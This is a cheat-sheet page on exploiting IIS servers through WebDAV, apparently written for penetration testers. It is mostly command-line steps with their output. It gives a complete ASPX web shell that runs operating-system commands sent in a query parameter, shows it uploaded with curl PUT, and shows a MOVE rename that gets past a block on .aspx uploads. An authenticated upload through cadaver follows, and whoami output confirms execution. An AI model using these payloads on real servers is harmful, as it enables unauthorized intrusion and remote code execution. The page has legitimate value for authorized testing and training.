Skip to content
HackIndex logo

HackIndex

IIS WebDAV Exploitation

2 min read Mar 30, 2026

IIS WebDAV exploitation uses the PUT method to upload files and MOVE to rename them to executable extensions when the server blocks direct .aspx uploads. IIS processes ASPX and ASP files server-side — getting either extension into a web-accessible path enables code execution. Confirm WebDAV is active and unauthenticated through IIS enumeration before proceeding.

Test Upload and Execution Capability with davtest

davtest tries multiple file extensions and tests whether each is executed server-side:

┌──(kali㉿kali)-[~]
└─$ davtest -url http://$TARGET_IP/ 
Sending test files
PUT	aspx	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.aspx
PUT	txt	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.txt
Checking for test file execution
EXECUTE	aspx	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.aspx
Explain command
-url Specifies the target WebDAV URL to test.
http://$TARGET_IP/ Target host IP placeholder used as the WebDAV endpoint.

EXECUTE success on aspx confirms direct ASPX upload and execution. Move to the ASPX web shell section below. If aspx PUT fails but txt succeeds, use the MOVE bypass.

Direct ASPX Upload via PUT

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.aspx -d '<%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd():""); %>' -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

MOVE Bypass — Upload as .txt then Rename to .aspx

When PUT blocks .aspx but allows .txt, upload as .txt and rename using MOVE:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.txt -d '<%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd():""); %>' -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk -X MOVE http://$TARGET_IP/shell.txt -H "Destination: http://$TARGET_IP/shell.aspx" -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

Upload with Credentials

When WebDAV requires authentication — 401 response to PUT without creds — provide credentials found from other vectors:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.aspx -u "$USER:$PASSWORD" -d '@shell.aspx' -i | grep HTTP
┌──(kali㉿kali)-[~]
└─$ cadaver http://$TARGET_IP/
┌──(kali㉿kali)-[~]
└─$ dav:/> put shell.aspx 
Uploading shell.aspx to '/shell.aspx': succeeded.
Explain command
http://$TARGET_IP/ Target WebDAV server URL with variable placeholder for the IP address.
put shell.aspx WebDAV PUT command to upload shell.aspx file to the remote server.

After confirming web shell execution, move to ASPX web shell upload for reverse shell delivery and post-exploitation steps.

References